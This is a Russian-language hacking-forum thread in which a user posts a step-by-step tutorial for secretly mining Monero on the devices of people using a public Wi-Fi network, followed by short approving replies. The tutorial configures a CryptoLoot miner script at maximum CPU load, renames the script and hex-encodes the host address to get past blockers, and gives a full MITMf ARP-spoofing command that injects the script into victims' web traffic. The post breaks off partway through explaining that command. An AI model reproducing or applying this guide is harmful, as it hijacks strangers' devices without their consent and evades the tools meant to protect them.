О том как Саня заработал свои первые копеечки на рабовладении

Тема в разделе "Вирусы", создана пользователем snakey, 13 июл 2019.

  1. snakey

    snakey New Member

    Весь материал носит исключительно ознакомительный характер, автор не несет ответственности за использование материалов данной статьи, нарушающее действующее законодательство.

    В продолжение серии статей про Саню, который очень уж хотел заработать 200.000 на Wi-Fi сетях общего доступа.
    Первая часть:
    Настоятельно рекомендую хотя бы мельком пробежаться по ней, если не читали, ибо я уже не стану останавливаться на мелочах, которые рассмотрел ранее.

    Добрый день / вечер / ночь, уважаемые форумчане.
    Около суток назад я опубликовал статью, очень плавно подводящую нас к теме абуза и монетизации открытых точек доступа Wi-Fi. Сегодня же я расскажу вам о том, как Саня абузил старые добрые методы в попытках заработать копеечку. Сразу спойлер: если вы пришли сюда за схемой заработка, то вы мимо.
    В первую очередь я пытаюсь поделиться информацией в образовательных целях, довести до вас
    какую-то новую информацию, методы атак, а не пошаговые инструкции. То что мы сделаем сегодня
    будет приносить сущие копейки, но на базе этого материала можно придумать много чего интересного.
    Что ж, приступим.

    Что мы будем сегодня делать? Мы будем майнить. А точнее, майнить будут они, мы всего лишь будем
    форсить клиентов на майнинг. Думаю, многие слышали про такой сервис веб-майнинга как Coinhive, но, думаю, не каждый знает о том, как его можно эксплуатировать. К слову, сам Coinhive остановил свою работу еще 8 марта 2019 года, однако, сервис этот не единственный. Мы разберем его аналог
    CryptoLoot. А домашнее задание для Санька и всех остальных бандитов я выдам в самом конце.

    0) Сань, че по чем?!
    Хоккей с кирпичем. CryptoLoot - это майнер криптовалюты Monero (ну еще uPlexa, но я хз что это такое), написанные на языке Javascript. Изначально он был придуман для того, чтобы постить скрипт-майнер на сайтах, заставляя всех посетителей майнить во время посещения ресурса. На самом деле это выгодно, например, на сайтах с взрослым кино или просто кино, т.к. жертва зачастую проводит по
    несколько часов на этом ресурсе, а потом еще и не зарывает вкладку с любимым сериалом. У нас своего популярного сайта нет, да и тематика немножко другая. Мы будем инжектить вышеуказанный скрипт во все уголки Wi-Fi сети.

    1) Сань, чемодан на место положь!
    Для выполнения атаки нам потребуется ровно то же, что и в предыдущей статье: linux, свисток,
    установленный MITMF.

    2) Сань, срочно в укрытие! Пошла жара!
    Помимо того, что у нас уже есть в чемодане, нам необходимо сделать пару кликов в браузере, т.е.
    зарегистрировать себе аккаунт на сайте CryptoLoot.

    Заходим на страничку Регистрируемся в форме.
    Внизу регистрационной формы мы увидим капчу с галочкой. Уже на этом моменте можно внимательно рассмотреть принцип работы майнера. При нажатии на галочку нам нужно будет дождаться заполнения progressbar, во время которого запустится тот самый скрипт и хорошенько подгрузит наш CPU. Ничего страшного, это займет секунд пять и больше не повторится.
    Крохотное отступление, регаемся на человеческую почту типа MAILRU, ибо на secmail рега не сработала.

    3) Витек! Я ключей не чувствую! Сань, у тебя их нет!
    Дальше нам нужно создать ключ сайта. В правом меню переходим в Manage Sites и жмем на Click here to add a website, вводим любое имя, тыкаем на кнопку.
    Зачем это нужно? Скрипт, который будет майнить, не знает кто его хозяин, таким образом, создав свой собственный ключ и подставив его в скрипт, система поймет кого нужно материально отблагодарить за полезную нагрузку.

    4) Вот теперь сиди и разбирайся с этим..
    Ключ создали, переходим к самому фаршу. В правом меню заходим в пункт SELF-HOSTED. В первом пункте мы видим ссылку на скачивание архива с гитхаба. Качаем и распаковываем куда нам удобнее. Из самого архива нам потребуется только один файл. Так же в третьем пункте мы видим скрипт, который можно скопировать куда-нибудь в блокнот чтобы не потерять. ВНИМАНИЕ! В третьей строчке меняем YOUR_PUBLIC_KEY на тот публичный ключ, который мы получили, вот он

    По поводу архива. В нем есть папка lib, а в ней файл crypta.js - именно этот файл нас и интересует.
    Можно его куда-нибудь отдельно вытащить, остальной архив нам не интересен. Файл crypta.js является тем самым скриптом-майнером, однако же можете даже не пытаться его прочитать, ибо он обфусцирован. Это делается для того, чтобы системы защиты не смогли идентифицировать скрипт как вредоносный. Кроме того, чуть позже мы еще добавим немного конспирологии в наше дело.
    Вторая же часть скрипта является конфигом, в который мы подставляем публичный ключ и настраиваем нагрузку. Давайте попробуем немного тут разобраться:
    var miner=new CRLT.Anonymous('8fcaf1e68b3bb6707afc434c504fb4d0750c30d6d5f3' авторизует наш
    скрипт в системе
    threads:4 - количество потоков, можно и 8 втащить. Экспериментируйте.
    throttle:0 - это коэффициент, обратно пропорциональный термину нагрузка. Принимает значения от 0
    до 100. При значении 0 использует максимум мощностей, при 100 - не использует их вообще.
    coin: xmr - какой именно коин мы хотим получать. Принимает значения xmr (Monero), upx (uPlexa),
    xmrupx (50% / 50% mix Monero/uPlexa). Я оставляю xmr, мне вообще не принципиально.

    5) Сань, ну долго еще там?

    Ну, сперва нам нужно сделать максимум для работоспособности скрипта.
    Дело в том, что многие блокировщики рекламы, а так же браузерного майнинга пристально наблюдают
    за траффиком нашего клиента. И несмотря на то, что скрипт уже обфусцирован, этого может быть
    недостаточно, так что нам нужно сделать несколько кликов.

    Для начала переименуем наш скрипт crypta.js в что-то менее читаемое, что наверняка не окажется в
    базе данных блокировщика, а точнее в рандомную строку символов.
    Для генерации такой строки, введем в терминал команду openssl rand -hex 16 ,где 16 - количество
    символов строки. Переименуем наш скрипт в ваша_случайная_строка.js (далее randomscriptname.js).
    Наконец, нам нужно сделать так, чтобы файл был доступен для загрузки у клиента (клиентов) нашей
    Wi-Fi сети. Лично я предпочитаю поднимать сервер на apache2. Для этого в терминате введем команду sudo service apache2 start. Проверить работоспособность сервера можно в браузере по адресу 127.0.0.1
    Попав на эту страницу мы сможем увидить корневую папку сервера (в моем случае это /var/www/html/), именно сюда нам следует переместить наш randomscriptname.js

    После подготовки нашего файла поговорим немного об обфускации URL при помощи HEX кодирования. Чтобы обойти фильтры блокировщиков, нам потребуется закодировать наш локальный IP. Для этого воспользуемся сайтом
    или любым другим, который переводит IP to HEX.
    На скриншоте ниже видно, что кодируется как
    Браузеры в состоянии понимать HEX код как обычный текст. Но нам нужно кодировать не 127.0.0.1, а ваш локальный IP. Где его найти все уже знают из предыдушей статьи, так что не останавливаемся - смотрим IP и переводим его в HEX.

    6) За пол тысячи километров до финиша.
    Теперь нам необходимо собрать готовый скрипт, а выглядит он, по крайней мере у меня, так:
    <script src=></script>
    <script>
    var miner=new CRLT.Anonymous('8fcaf1e68b3bb6707afc434c504fb4d0750c30d6d5f3', {
    threads:4,autoThreads:false,throttle:0,coin: xmr, // xmr = Monero, upx = uPlexa
    });
    miner.start();
    </script>Сохраним этот код в отдельном локальном файле, имя которого предлагаю сгенерировать тем же
    способом, что и ранее. Я дальше буду использовать имя lastscriptname.js. Именно этот скрипт мы и будем инжектить с помощью MITMF.

    7) Ну наконец-то! Деплой! Сань, шампанское неси!
    А для деплоя мы будем использовать все тот же MITMF. Долго затягивать не буду, сразу напишу строку, а потом разберу ее.
    sudo mitmf -i wlan0 --inject --js-file /path_to_script/lastscriptname.js --arp --spoof --gateway 192.168.0.1

    sudo
    - запуск от админа
    mitmf - фреймворк
    -i wlan0 - ключ интерфейса и сам интерфейс
    --inject - главный ключ, включающий модуль инъекций, он используется потому что может принимать
    два значения - --js-file и --html-file
    --js-file - ключ инъекции JS файла, принимает одно значение - путь до самого файла
    /path_to_script/lastscriptname.js - конечный скрипт и путь к нему
    --arp - ключ для фпуфф
  2. Phineas

    Phineas New Member

    Годнота
  3. KLOD

    KLOD Member

    Пощупаем. За себя и за Сашку!
  4. KLOD

    KLOD Member

    6ля Змея твои темы просто огонь, авторские, интересно читаемые, какого xyя у тебя так мало симпатий?)
  5. Phineas

    Phineas New Member

    Он недавно пришел)
    Я ему вангую легенду за два месяца
  6. Slawian777

    Slawian777 New Member

    Есть варик устроится работать на подключении интернета абонентам, то есть есть доступ к любому вайфай их фирмы. друг уже 2 года работает, вот если бы шарить во всем вышеизложенном...

Поделиться этой страницей

Top